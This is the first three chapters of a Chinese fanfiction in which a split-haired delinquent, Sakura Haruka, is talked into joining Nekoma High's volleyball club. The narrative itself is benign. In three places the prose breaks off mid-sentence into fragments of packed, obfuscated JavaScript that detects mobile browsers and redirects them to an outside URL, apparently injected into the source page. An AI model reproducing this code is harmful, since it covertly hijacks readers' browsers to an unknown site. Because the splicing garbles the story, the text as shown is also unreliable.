《傲娇奶牛猫，但在音驹》 1. 第 1 章（修） “怪胎。” “废物。” “一无是处。” “长得可真恶心！” 在压抑至极的封闭空间里，面目狰狞的人群组成黑压压的浪潮，一浪又一浪朝他袭来。而那些满怀恶意的言语，则像无孔不入的淤泥，从脚踝开始向上爬，直到淹没他的胸口，几乎让他喘不过气。 只有不断往上，只有成为顶峰，他才能甩开那些家伙。 所以他深吸一口气，走上悬崖，踩着摇晃的钢索继续向上。 ……一脚踏空。 所有的喧嚣瞬间消失，耳畔只剩下活泼清脆的鸟鸣。 樱遥猛地睁眼。 房间里没有窗帘，早晨的阳光透过窗外枝叶的缝隙，在他脸上留下斑驳的光影。有那么一缕光线恰巧照进他的眼睛里，将这对异色的眼睛衬托得像一对晶莹剔透的玻璃珠。 樱遥眨了眨眼，从刺目的阳光中感受到了令人安心的暖意，终于从阴冷的梦境中彻底挣脱出来。 他下意识摸向枕头旁的手机，按下解锁键。 空空荡荡的通讯栏收到了一条新消息，是他订阅的天气预报，每天早上会自动发送。 [4月1日，天气晴，请注意防晒。东京都的樱花已经含苞待放，今天是个不错的赏樱日哦～] 对了，今天是开学日。 樱遥叠好被子，起身洗漱。 将清水泼到脸上，认认真真擦完脸，樱遥抬起头，看向镜子里的自己。 不是纯粹的黑发，也不只有灰色的眼睛。像有一条无形的分界线，将他的样貌分成割裂的两半。右边是普通的黑发灰眼，左边却是张扬的白发和漂亮的金色眼睛。 被清水沾湿的睫毛湿漉漉的，在异色的瞳孔上打下淡淡的阴影。 这幅样貌让“怪胎”的称号从樱遥记事起就伴随着他，直到国中结束。而现在，他搬到了这个新的城市。 没有人认识他，也没有人可以辱骂他，他会在恶意到来之前先一步登上顶点，将那些不长眼的家伙通通踩在脚下。 没错。 就是这样。 樱遥将额前的湿发向后拨去，对着镜子里的自己说。 【滴，检测到合作者愿望：登上顶点！】 脑海里突然出现一道欢快活泼的声音，樱遥下意识后退一步，差点被滑溜溜的瓷砖滑倒。 好在最后他还是凭着自己的超绝平衡力站稳了，镜子里倒映出他惊魂未定的表情。 要是后脑勺着地可就危险了啊，樱遥怒道：“都叫你不要突然说话了！” 脑海里的声音连忙道歉： 【啊抱歉抱歉，不小心吓到你了！只是樱遥的愿望太纯粹啦，忍不住想记录下来。】 樱遥哼了一声，没再追究。 他脑子里的这个家伙是在前几天突然出现的，它说自己是来自时空管理局的员工，员工编号SS041，它来到这个世界的任务是帮助樱遥实现愿望。 那时樱遥还以为自己没睡醒，迷迷糊糊问它：“那你能为我做什么呢？” 【我能做的事情有很多！呃……比如说收集情报什么的？】 樱遥一下子就清醒起来——好没用，这听起来也太像诈骗了吧！ 随后他就认真地检查了一遍自己的房间。因为才刚搬过来几天，这个房间还空空荡荡，只在地上摆了一床被褥，柜子里也只放了饮用水，不可能藏有摄像头之类的高科技设备。 确认这道声音就是从自己脑海中发出的，樱遥只能接受自己脑子里多了个东西的事实。 但是这家伙话实在太多了，一开始还担心他是不是压力太大，以至于头发都白了一半，喋喋不休地建议他要规律作息健康饮食，千万不要太焦虑了。 樱遥忍无可忍：“我这是天生的！” 【哦哦，对不起，是我误会了。】 樱遥撇了撇嘴，小声嘀咕：“不过也有可能真是压力太大了，不然我怎么会出现幻听呢？” 【我不是幻听啦！我很有用的！】 “行行行，所以请你不要给我发养发偏方了好吗？” 被迫听了几天这个话痨的声音，樱遥已经渐渐习惯了它的存在。但今天又冷不丁被这家伙吓了一跳，听到它那活力满满的声音，樱遥忍不住说： “你快走吧，不要在我身上浪费时间了。” 【不行，我已经说过了呀，我想成为樱遥的最强辅助，帮助你实现愿望，也就是登上顶点~】 这是它第三次说出这句话了，这也是樱遥第三次拒绝：“我不需要。” 他拿起书包往背上一甩，弯腰在门口换鞋，起身时将手插进兜里，酷酷地说： “我的愿望我自己可以实现，不需要任何外力的辅助。成为顶点，只靠我一个人就可以了。” 此时已经早上八点了，早晨的阳光洒在樱遥的头顶，在他的白发上披上一层淡淡的轻纱，异色的瞳孔里闪烁着毫不掩饰的野心。 SS041没接话，樱遥还以为它终于要知难而退了，其实这个小系统正在他看不见的地方激动打滚： 不愧是樱遥，这也太帅了吧！ …… 按照预想，今天是开学第一天，樱遥需要先去学校打听情报，找出这片区域打架最厉害的人，然后再去登门挑战。 然而在路过一个街角的时候，樱瑶忽然看见小角落里围着几个人。 他们之中大部分染了头发，发型乱七八糟的，有人穿着全是铆钉的破烂衣服，也有人穿着音驹的校服，一群人对中间的那人推推搡搡，语气很恶劣： “喂，把钱交出来啊。” “今天开学，你小子身上肯定有带钱吧。” “快点快点，哥几个赶时间呢。” 被围在中间的那人像是国中生，抓着自己的书包不知所措。 不管在哪里，总会有那么几个人渣组成的小团体，专门挑选落单的学生霸凌。 樱遥的心情一下子糟糕下去，不爽地“啧”了一声。 既然已经看到了，就没有坐视不管的道理。 于是他走上前，右手搭上其中一人的肩膀：“喂，住手。” 几个不良少年回头一看，打扰他们的人同样穿着音驹校服。他头发竟然是罕见的阴阳头，眼睛也很特别，灰色的瞳孔沉入阴影，另一边的金色瞳孔却在阳光下呈现出琥珀般的光泽。 他们被这幅样貌惊了一下，不过打量了眼樱遥的身板，确认不是肌肉壮汉，态度又嚣张起来。 “搞什么啊，小弟弟，多管闲事可不是什么好习惯。” “头发染得那么浮夸，是不是还戴了瞳片？啧，搞得真恶心。” “之前没见过你啊，你是新生吧。新生就乖乖去报道参加开学典礼，不要来打扰学长们的好事，否则就不要怪我们动手了。” 脑海里传来SS041气愤的声音： 【天啊，这都是些什么人啊！樱遥你别听他们胡说，你的头发超炫的！】 樱遥没有回应，只是扭动手腕，活动了一下手脚，冷笑道：“那就动手吧。” 没什么好说的。 总有弱者以为自己很强，所以就肆无忌惮地欺负他们眼中更弱的家伙。 “什么？先把这小子收拾一顿再说——” 看见一群人毫无章法地冲过来，樱遥随手将背包丢到一旁。利落地俯身用一个背摔将冲在最前面的黄毛摔在地上，随后转身侧踢，将另一个人踹飞出去。 剩下几个人被这个架势震了一下，决定一起上。被包围在中间的樱遥抬脚蹬上墙上的石砖，借力跳上人群上空，轻轻松松脱离了他们的包围圈。 还没等这群人震惊抬头，樱遥就已经从空中落了下来。 他的额发被风带着向上飞扬，露出光洁的额头和冷厉的眉眼，紧接着，他就长腿一扫，将一人扫飞，另一人则被他踩在脚下。 这场干架结束得很快。 不到三分钟，刚才还得意洋洋的小混混们横七竖八倒在地上，SS041在脑海里挥舞着应援棒，被勒索的国中生也看呆了，回过神来抱着书包鞠了一躬： “谢、谢谢你！” 樱遥下意识左看右看，没看见旁边还有站着的人，这才低头看他，疑惑地指了指自己：“你在跟我说话？” “没错！”国中生又非常感激地说了一次，“谢谢你救了我！学长！” 樱遥从来没有遇见过这种情况，这么纯粹的感谢像是滚烫的热水，一下子就蒸红了他的耳根。 他的脸颊也跟着发烫，结结巴巴道：“我、我我又不是想帮你，我只是单纯看那群人不爽罢了！” 搞什么，看到自己打架，这个人不应该直接被自己吓跑吗？顺便再点评几句自己的眼睛、头发，就像刚才那群人一样…… 这样想着，樱遥眼神一暗，发现刚刚还哎哟哎哟叫唤的不良少年们已经趁着他们对话时悄悄爬起来了，一边一瘸一拐地逃跑，一边叫嚣着： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137969|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你、你给我等着！我们记住你了！” 樱遥搓了搓脸，试图把脸上残存的热意搓没，嘴上却冷冷嘲笑：“那你们可听好了，我叫樱遥，以后听见我的名字自己滚远点。” 那群人的回应是一片狼狈的背影。 樱遥啧了声，忽然想起来自己忘记问他们这片区域打架最厉害的人是谁了，不良少年们应该比较精通这方面的消息。 错过了这次，之后还得自己去找，真麻烦。 樱遥拍拍身上的尘土，捡起背包背上，跟再三鞠躬的国中生道完别，准备继续去上学。 也正是这时，他才注意到有个人一直站在自己身后。 这个人的身材很高大，发型桀骜不驯，看起来有点像公鸡的鸡冠。更重要的是，他咧着嘴笑的时候，看起来不像好人。 樱遥瞬间警惕起来—— 这个公鸡头是刚才那群人摇过来的老大？ 而且这家伙还一直打量自己的头发，视线停留在自己的眼睛上。樱遥以为他要开始嘲讽自己的外表了，眼神有些不善。 没想到公鸡头赞叹道：“少年，你的阴阳头很帅嘛！” SS041：【终于来了个有眼光的人了！】 樱遥脑袋上缓缓冒出一个问号：“哈？” 公鸡头继续说：“你的眼睛也超级酷啊！” 樱遥扯着嗓子：“哈？！” 等等，这个人好像真的在夸自己。 这不对吧？ 今天遇见的人都好奇怪，一定是哪里出了问题。 因为过于不敢置信，樱遥瞪着对方，脸颊又变得通红，自以为很不善地哼了一声：“我才不需要你这种轻浮的夸奖！” 看见他的反应这么激烈，公鸡头微微挑眉，缓缓露出一个标准的坏人微笑：“我看你的腰也不错，要不要加入我们排球部，一起来打球啊？” …… “不要。” “我都说了不要了。” “请离我远点，谢谢。” 樱遥快步走在前面，他实在想不通这个怪人为什么要跟着自己。 可是对方却一直笑眯眯的，长腿一迈，走在他旁边喋喋不休。 “怎么能这么说呢，我也是音驹的学生啊，我们只是刚好顺路。” “看你那么着急，是不是要找什么人？” “我可是三年级的学长，这座学校我很熟的，我帮你解决呗。” 学长？ 樱遥的脚步一顿，身体也跟着僵硬起来。 他开始回忆自己有没有失礼的地方，随后就发现自己根本就没有礼貌过。 公鸡头似乎察觉到他在想什么，笑嘻嘻道：“不用在意，我有个朋友不是很喜欢学长学弟的等级制度，刚好我也是。” “先自我介绍一下吧，我叫黑尾铁朗，是音驹高校三年级生。” 对方都这么明显地释放善意了，樱遥有些别扭，扭过头说：“我是樱遥，一年级的新生。” 黑尾铁朗拍拍他的肩膀：“这就对了嘛！好了，那么告诉我你要找谁吧。” 樱遥目视前方，一时间有些沉默。 他们的面前就是音驹高中的校门，校门两旁的樱花已经半开了，花瓣是细腻的粉白色，远远看过去如云似霞，非常漂亮。 今天是开学日，校门口十分热闹，不少高中生打打闹闹结伴上学，新生们则站在校门口前拍照，纪念自己高中的伊始。 真是青春洋溢的画面。 但是樱遥知道，这种氛围从来不属于他，他只是个除了打架一无是处的底层讨厌鬼。 只有在打架这件事上，他才能找到自己的价值，才能清晰地感受到自己并不是一无是处。只要打败最厉害的那个人，他就能够拥有高人一等的感觉了吧。 樱遥接住一片摇摇晃晃飘落的樱花花瓣，认真道： “我的目标是成为这片区域的不良少年的顶点，所以我要先找到这里的老大，也就是打架最厉害的人。” 这就是他的真实想法，可是说完后，他就发现这个公鸡头弓着腰，肩膀在不停发抖。 樱遥语气不善：“你笑什么？” 黑尾铁朗捂住嘴：“啊？谁笑了？我没有笑啊……” 樱遥有点炸毛：“你明明就笑了！” 黑尾铁朗咳了两声，若无其事地转移话题：“咳咳，先别说笑没笑，我刚好知道我们学校的老大是谁。” “今天放学后，我带你去见他。” 2. 第 2 章（修） 当天下午，音驹排球部。 排球部众人陆续来到体育馆，从储物间里拿出清洁工具。 今天是开学第一天，学校没有安排课程。新生们参加完新生典礼后，就可以在校园里到处闲逛，了解感兴趣的社团了。 而对于老生们来说，这就是个争夺宝贵的新生的好机会！已经有不少社团在校内主干道两旁支起小摊子打广告，听说只要接了羽球部的申请书就可以免费品尝小甜点，篮球部则直接派出他们可爱的经理妹妹发传单。 排球部也制作了入部宣传单，派人出去贴在学校里比较显眼的地方。而剩下的部员则聚集在体育馆，准备在新学期正式开始之前来一场彻底的大扫除。 但是，他们的队长却缺席了。 “黑尾去哪里了？” 夜久卫辅戴着橡胶手套，一手举着清洁剂一手拿着拖把，由衷发出疑问：“传单不是已经贴完了吗，这小子难道想偷懒不成？” 海信行已经戴上了口罩，声音显得有些闷闷的：“刚刚放学的时候不是还见过他吗……研磨，你知道黑尾去哪了吗？” 突然被提到的孤爪研磨举起抹布：“中午小黑跟我说过，他要去拐卖小孩了，叫我放学后不用等他。” 音驹众人：？ “什么？！！” “拐卖小孩？这是犯法的吧！” “不过如果是黑尾的话倒也不奇怪啦……” “不不不，不管是谁都会很奇怪吧！！” 在夜久卫辅的吐槽声中，大扫除有条不紊地进行着。 要清扫的地方其实不多，因为在短暂的春假里他们也照常进行部活，每天都会拖地板，现在只需要清洁一下平时比较少关注的卫生死角。 而就在大扫除行动基本结束，大家把排球框推出来，准备打打排球热热身的时候，体育馆外忽然传来什么人挣扎的动静。 音驹众人朝门口看去，下一秒—— 黑尾铁朗就一脚把半掩着的门推开，兴高采烈道：“研磨！看我带回来了什么！” 这样说着，他还抓住一个人的腋下，像举猫一样把这人举起来：“快看，九成九稀罕猫！” 被他架着咯吱窝举起来的少年气得大叫：“喂！！！” “快把我放下来！！” 音驹众人震惊了。 什么，居然真是字面意义上的拐小孩吗！ 他们好奇地围过去，打量着被队长拐回来的少年啧啧称奇。 而面对一堆好奇的目光，樱遥感觉头皮发麻，头发都要竖起来了。 不对劲。 太不对劲了。 被围在中间的樱遥这样想。 就在刚刚，樱遥按照约定，在放学后去三年级的教室前找黑尾铁朗。对方笑眯眯地让他跟上，说要给他带路。 樱遥跟了他一路，在看见体育馆的时候忽然感觉不对劲，停下脚步： “喂，黑尾……学长，这不是去体育馆的路吗，你是不是在耍我玩啊？” 黑尾铁朗双手合十，眼睛微眯，脑袋上出现一道十分可疑的圣光： “本人一向慈悲为怀~我这么和蔼可亲善解人意乐于助人的学长，怎么可能骗你呢？跟我走就对了，马上就到。” 反正已经走了这么远，不如走到终点看看情况。樱遥半信半疑地跟着他，还在脑海里问据说擅长收集情报的SS041—— “这学长真没骗我吧？” SS041有些犹豫： 【应该没有吧……我感觉他的声音听起来很亲切，一听就是好人！】 好人吗，真的假的？ 樱遥没搭腔，在听见排球跳动的声音时，脚步又停了下来，准备再确认一次。 结果已经晚了。 这个邪恶公鸡头竟然本性暴露，露出一个超坏的笑容，仗着自己的身高一把把他拎起来了！ 樱遥想要挣扎，但是又担心自己力气太大一个肘击把对方弄伤，愣神了一下，刚好被他抓住机会拎到了排球馆里。 于是，就有了刚才那个入场。 …… 福永招平：“哇塞，头发是巧克力香草冰淇淋！比布丁头更有食欲的发色出现了！” 黑尾铁朗插了一句：“嗯，不过我还是更喜欢吃布丁啦~” 海信行也跟着惊叹：“眼睛的颜色居然不一样，左边像蜂蜜琥珀糖一样，亮闪闪的。” 大家都纷纷围过来，就连孤爪研磨都放下排球默默走到黑尾铁朗旁边，不着痕迹地观察这个被小黑“拐”回来的新生。 这种同时被很多人打量的感觉让樱遥感觉很不舒服，那些阴魂不散的人影似乎又在他眼前扭曲，张开令人厌烦的大嘴指指点点。 他的脑袋有些发晕，像被套进了一个玻璃罩子，耳边的声音离他越来越远，却仍在喋喋不休。 “头发是特意染的吗？” “好完美的搭配！” “是不是戴了美瞳呀，好自然，完全看不出来诶……” 手心开始冒汗。 呼吸变得急促。 耳鸣尖锐地响起—— “嘭”地一声，困住樱遥的玻璃罩狠狠炸开。 樱遥深吸一口气，语气有点冲地说：“不是染的，也没有戴美瞳。我的头发和眼睛都是天生的，怎么了，你们有意见吗？” 围在他身边的众人一静。 注意到他们的反应，樱遥在心里冷冷哼了一声。 看吧，这群人瞬间没兴致了吧，待会是不是又要指着他的鼻子说长得真晦气？ 他就不应该相信那个公鸡头，说不定从最开始，这就是个无聊的恶作剧。 樱遥捏紧手指，感觉心口闷闷的，有点难受，像是某个地方缺了一块。 SS041察觉到他的情绪，有点担心他： 【樱遥……】 不要紧的，他已经习惯这种感觉了，这种时候，只要不理睬对方就可以了。 就在樱遥准备转身离开时，他却听到眼前这群人齐声说： “什么——” “那也太酷了吧！！！” 樱遥：？ 他震惊得眼睛睁圆，瞪着围在自己面前的人。 这群人到底在胡言乱语什么啊？他们的反应怎么和他想的不一样？ 这时一个黑发猫猫嘴凑过来，张开爪子跃跃欲试地说：“这么完美的头发居然是天生的啊？请问我可以摸一下吗？” 说完他又懊恼道：“啊，不好意思，我只是有点好奇，如果不小心冒犯到你了那对不起！” 樱遥略感混乱地扭过头，语气硬邦邦地说：“哦，我没事，没有冒犯到我。” 好奇怪啊…… 这帮人真的好奇怪！ 预想中的冷言冷语并没有到来，取而代之的是无比纯粹的好奇和善意。 可是这还不如骂他呢，如果有人骂他，他把对面痛扁一顿就可以走了。现在这样，他要怎么应对啊…… 樱遥有些无所适从，只好装作自己很忙，一会儿摸摸自己的衣领，过一会儿又整理一下自己的头发。 他不知道的是，他以为自己很镇定，其实耳朵早就红透了，脸颊也不小心变得粉扑扑的。明明刚才还一脸不爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137970|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，现在却害羞得好像恨不得要钻回窝里。 见他反差这么强烈，音驹众人觉得更有意思了，纷纷凑上前，你一句我一句，把樱遥搞得晕晕乎乎的。 趁他们对话时，夜久卫辅走到黑尾铁朗旁边，小声问：“喂，到底是什么情况啊？” 黑尾铁朗得意道：“嗨呀，就是我拐了个可能很有天赋的新生回来啦。” 夜久卫辅用力拍了下他的后背：“就算是这样也不能直接把人抓回来啊！这个小学弟看起来对排球部不感兴趣。” 黑尾铁朗摆了摆手：“不管那些了，你是没看见，这小子的摸高起码有三米四！” 夜久卫辅：“三米四又怎么了……等等，三米四？！” 可这个学弟看起来跟研磨差不多高啊！ 黑尾铁朗：“对啊！要是我下手晚了，这小子被其他社团抢走了我会心痛死的！” “而且他还会蹬墙跳——就是游戏里的那种蹬墙跳，你懂的吧？‘歘’地一下爬上墙，再飞下来，跟电视里的跑酷一样！运动神经超级强！” “拐得好。”夜久卫辅的立场迅速变了，露出和黑尾铁朗一样的嘴脸，缓缓竖起大拇指，“怪不得说是九成九稀罕猫……可是如果他发现被拐铁了心要走怎么办？” 黑尾铁朗咧嘴一笑：“放心，我自有妙计。” 这时樱遥已经稍微冷静了一点，终于从混乱的大脑中扒拉出自己最初的目的，看向把他带到这里的黑尾铁朗： “你说要带我去见这所学校的不良少年的老大，他人呢？” 黑尾铁朗就等着这个问题呢，露出一个神秘的微笑，毫不犹豫地指向某个人：“哦，就是那家伙。” 樱遥顺着他的手指看过去，看见了一个一脸凶相的黄发莫西干头。 看起来就不好惹，确实很符合不良少年的传统形象，看来那个公鸡头没骗他。 突然被盯上的山本猛虎：？ 等等，发生什么事了？ 还没等他搞清楚情况，他就发现孤爪研磨端着游戏机，默默退到了一个小角落，像是紧急避险。其他人也默契地退开两步，在他周围形成一个真空地带，只留他一个人孤独地站在原地。 随后，刚刚还耳根通红的阴阳头少年就挑剔地打量自己几眼，走上来抓住他的衣领，说：“听说打败了你，我就能成为这片区域的不良顶点？” 山本猛虎：？？？ 他猛地看向黑尾铁朗。 不是，黑尾学长你倒是解释一下，这到底是什么情况啊！这个阴阳头为什么要来跟他干架？ 黑尾铁朗丝毫不管他的死活，只是拼命给他眨眼。不知为何，山本猛虎好像听到了黑尾的呐喊： 快答应下来啊——先答应下来再说！ 山本猛虎：“……” 虽然不知道发生了什么事，但看在他们队长眼皮都要抽筋了的份上，山本猛虎还是硬着头皮说： “哦，是我，我就是这所学校的老大，他们所有人都得听我的。” 樱遥心中一喜，看来他没找错！ 他放下这个莫西干头的衣领子，正准备跟他约定一个单挑的时间，却听见对方义正辞严地说： “不过我的规矩是——用排球决一胜负！” “没错，就是这样！” 黑尾铁朗一拍手，朝樱遥怀里塞了张纸，循循善诱道：“所以，先从加入我们排球部开始吧。” 手里莫名其妙多了一张入部申请书的樱遥：“……哈？” SS041瑟瑟发抖： 【有种樱遥马上就要被大灰狼拐走的恶寒感……】 3. 第 3 章（修） 【姓名：樱遥 班级：一年级三组 申请社团：排球部 申请理由：____________】 樱遥一手拿着这张填了一半的入部申请书，另一手托着脸颊，思考要填什么理由。 直接写要打败莫西干头，成为不良少年的老大吗？ 可是那个公鸡头……咳，黑尾学长真的太可疑了，在昨天之前他从来没听说过要想踢馆还得先加入对方的势力。 难道这是大城市特有的规矩？ 高中之前在乡下生活的樱遥有点不太确定。 而就在他犹豫再三，终于提起笔准备继续写的时候，他的头顶上忽然传来一道温温柔柔的声音： “樱同学，虽然我很理解你想快点加入社团的心情，但是申请书最好还是等下课后再填写哦，现在是上课时间，请认真听讲。” 樱遥：！！ 提醒他的正是刚刚还在讲台上的国文老师，樱遥被这句话吓得差点炸毛，头发分界线上的两根呆毛都竖起来了。 周围的同学发出揶揄的笑声，樱遥面红耳赤地低下头，呆毛也蔫哒哒地垂了下去。 “好的。” 哪怕是不良少年也得乖乖听老师的话啊…… 好不容易熬到下课，樱遥感受到了从四面八方投射而来的视线，但这些视线的主人都不敢接近他，只是远远站着，嘴里还议论着什么。 反正又是在说他的坏话吧。 樱遥没兴趣搭理他们，恰好他坐的是后排靠窗的位置，可以一个人看风景。 正这样想着，樱遥忽然感觉自己的后背被人戳了戳。 樱遥回头，发现戳自己的人是一个灰头发绿眼睛的人。他的眼睛有点特别，是竖瞳，像是猫，又像蛇，被这双眼睛注视的时候，就会产生一种被猎食者盯上的危险感。 也许别人会感到害怕，但樱遥却感觉有点意思，刚刚安分不久的血液都热了起来。 他微微挑眉：“干什么，想打架啊？” 绿眼睛没有第一时间回应，脸上流露出困惑的神情。 哦，这个人应该是外国人吧，他还是第一次跟外国人说话呢！ 于是樱遥绞尽脑汁，哼哧哼哧半天，用蹩脚的日式英语憋出了一句：“W、what’s up？You？想跟我干架？” 后半句不知道怎么说，樱遥连忙在心里呼叫SS041。 第一次被主动召唤的SS041有点受宠若惊： 【诶？诶？问我英语吗？我可能比较擅长国文……你问他说“Do you want to fight me？”】 “Do、do you……” 算了好复杂，感觉舌头都要打结了。 英语学渣樱遥决定放弃，反正语言不通不要紧，对于他们这些“道上的人”，只要表情到位，对面就能懂他的意思。 这样想着，樱遥摆出一张臭脸。 他原本想用鼻孔看人表示蔑视，但很快就发现自己做不到，因为这家伙的上半身有点长。最后他只能微微抬起下巴，让自己的表情看起来更具攻击性。 结果对方挠挠头：“叽里咕噜说什么呢，我会说日语。” 刚刚还在因为自己第一次见外国人却不会说英语而感懊恼的樱遥炸了：“……你不早说！” 绿眼睛理所应当地说：“哎，你又没问我。而且我另一半血统的母语也不是英语，而是俄语哦。” “对了，我记得你的名字是樱花吧，跟这个季节很配呢！我叫灰羽列夫，很高兴认识你啊。” 樱遥无语地瞪着他：“我叫樱遥。” 樱花一听就是个可爱的女孩子的名字，这家伙是故意找茬吧。 “哦哦，樱遥。”灰羽列夫及时改口，又笑眯眯道，“我早就注意到你了，你好时尚啊！感觉很适合上杂志封面呢！嗯……只是身高还差一点，唔不对，可能差得有点多。” ……这小子找死吗？！ 樱遥捏紧拳头，正准备给对方点颜色瞧瞧，灰羽列夫就仗着自己的身高看向他手里的申请书，十分迅速地跳到另一个话题：“刚刚上课的时候我就想问了，你也要加入排球部吗？” 他的脸骤然凑近了，刚刚还十分危险的绿眼睛看起来清澈又愚蠢。樱遥有点应付不来这种热情的家伙，不得不别过脸不看他：“你也要加排球部吗？为什么？” 灰羽列夫脱口而出：“因为打排球的人都很酷啊，如果我也去打排球的话，一定会变得更耀眼的吧！” 说到激动的地方，他直接从座位上站了起来，樱遥突然间懂得“平地起高楼”是什么感觉了。 就连SS041都惊叹： 【哇好高……据我观察，这位同学的身高在195cm左右！】 樱遥打量着灰羽列夫的身材，心想这家伙长得这么高，如果再多点肌肉，随便放进哪个组织里都可以当个门面。 如果这样的人都想加入排球部的话……说不定这个社团真的卧虎藏龙呢。 樱遥听说过，大城市的不良少年们不会像乡下人那样明目张胆，他们会用社团、结社的名义来伪装自己的帮派势力。 难道音驹排球部也是这种情况？ 樱遥又继续追问：“所以在你们这里，打排球是件很酷的事情？” 灰羽列夫：“没错！” 那么用排球决战也确实合理了一点，因为不良少年们永远走在追赶潮流的第一线。 既然已经来到了东京都，那他当然要入乡随俗。 不管是什么项目，他都要变成最强。 排球，总不能比打架更难吧？ 樱遥拿起笔，自信满满地填满申请书上的空白。 …… 当天下午。 黑尾铁朗还不知道有个素未谋面的学弟为自己打出了助攻，捧着一叠新收集到的申请书，朝夜久卫辅竖起大拇指，露出一个“计划通”的表情。 已经知晓真相的山本猛虎看着他俩的互动，一脸悲痛：“黑尾前辈！夜久前辈！所以你们就这样把我卖了吗？就因为我的发型比较时髦吗？啊？” 黑尾铁朗咧嘴一笑：“嘿嘿，不要计较那么多啦，想把人骗回来就只能借用一下你的名头了，毕竟我们队里只有你长得最像不良。” “难道你还担心自己打不过一个之前从来没打过排球的菜鸟吗？” 夜久卫辅也做了个打气的手势：“我相信你阿虎，你绝对没问题的！” 可是让他去哄骗新人他有点良心不安啊…… 山本猛虎正准备继续控诉，黑尾铁朗就被猫又教练叫过去了。 猫又教练让他组织新生们测一下摸高，老部员也可以顺便测一下，看看这几个月有没有进步。黑尾铁朗应了声好，把部员们聚集在一起。 今年有好几个有潜力的新人，除了被黑尾亲手拐回来的樱遥，还有身高接近两米的灰羽列夫，身高一米八五的犬冈走，初中做过二传手的手白球彦和自由人芝山优生。 看着新生们站成一排，形成了一个完美的信号格，黑尾铁朗把他们带到摸高墙前： “那么现在，请大家把手伸进这桶镁粉里。在轮到自己的时候，用尽全力跳上去，在这面墙上留下你们的手印。” 注意到新生们的摸高活动，音驹众人纷纷跑过来围观。 手白球彦和芝山优生的摸高都处于这个年纪的新生的平均水平，犬冈走的摸高则达到了333cm，直接刷新了黑尾铁朗330cm的记录。 又来一个弹跳力和敏捷度拉满的副攻手，对音驹来说完全是意外之喜。 不过重量级人物还在后面呢，一群人满怀期待地看向灰羽列夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137971|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和樱遥——现在只剩他们两个还没测试了。 灰羽列夫低头看向堪堪到达自己下巴的巧克力香草冰淇淋头，忍住了把手指放进这个双拼色发旋里摁一下的冲动。他有预感，如果自己真的这样做了，后果会非常严重。 出于同班同学之间的义气，灰羽列夫好心谦让：“你先来吧樱遥，不然要是在主角之后出场，可能就没那么惊艳了。” 等他大显身手过后，学长们肯定都注意不到樱遥的摸高了，那樱遥得有多可怜啊！ 樱遥本来还没多在意这项数据，一听这话，顿时不太高兴了，双手交叉放在胸前，硬邦邦地回复：“不需要。” 见他心意已决，灰羽列夫叹了口气，随后就兴致勃勃地走上前。 黑尾铁朗站在旁边观察他的动作。 在高中生之中，排身高在一米八到一米九之间的排球手最为常见。第一个原因是这个年纪里超过一米九的人比较少，另一个原因则是身材高大的人可能会动作迟缓，在赛场表现上甚至不如个子矮的选手。 但灰羽列夫身上却没有这些缺陷，恰恰相反，他的动作非常灵活，跳跃能力也不差。 只见他轻轻松松超过了摸高墙上的所有手印，鞭子一样的手臂重重甩上去，在这面墙的最高处留下了一个巨大的手印。 最后的数据是——345cm。 不错，又挖到宝了，而且这家伙还不用特意去拐，是自己屁颠屁颠送上门来的！黑尾铁朗在数据板上刷刷写下这串数字，满意点头。 灰羽列夫落地，看着自己一骑绝尘的成绩，握拳庆祝了一圈。 现在还没完成测试的人只剩樱遥了。 排球馆里的所有目光齐聚在这位阴阳头少年身上，樱遥瞥了站在角落的山本猛虎一眼，轻轻吸了一口气。 虽然他没有系统训练过弹跳力，但是既然这项数据对于打排球的人来说很重要，他就让莫西干头看看他的实力。 这样想着，樱遥后退两步，向前助跑，并在即将撞上摸高墙时脚掌蹬地，原地起跳—— 小腿肌肉因为瞬时的爆发而鼓起，T恤的下摆随着起跳的动作飞扬，露出紧实的小腹和薄薄的肌肉。 他微微眯着眼，异色的瞳孔里闪烁着野心勃勃的光，黑白两色的头发凌空飞扬，像一只灵活矫健的猫，轻轻松松就跃到其他动物无法触及的高度。 “啪”！ 手印重重盖在墙上，指尖几乎跟那个最大的手掌重合。 最后，那道身影才轻盈地落下来，膝盖自然曲起，减缓落地的冲击。 全场寂静—— 当你看见一个巨人，你就能自然而然地接受他所能达到的高度，仿佛巨人天生就比其他人更容易抵达天空。 但是当一个迷你小豆丁达到和巨人一样的高度，意义就完全不同了。 黑尾铁朗拿尺子一量：“346cm。” 他的眼光果然没有错，真的有三米四啊，而且还超出预期了！ 别看樱遥的摸高数据和灰羽列夫只差1cm，但是他和灰羽列夫可是有着足足25cm的身高差，而且还没算上臂长的差距呢。 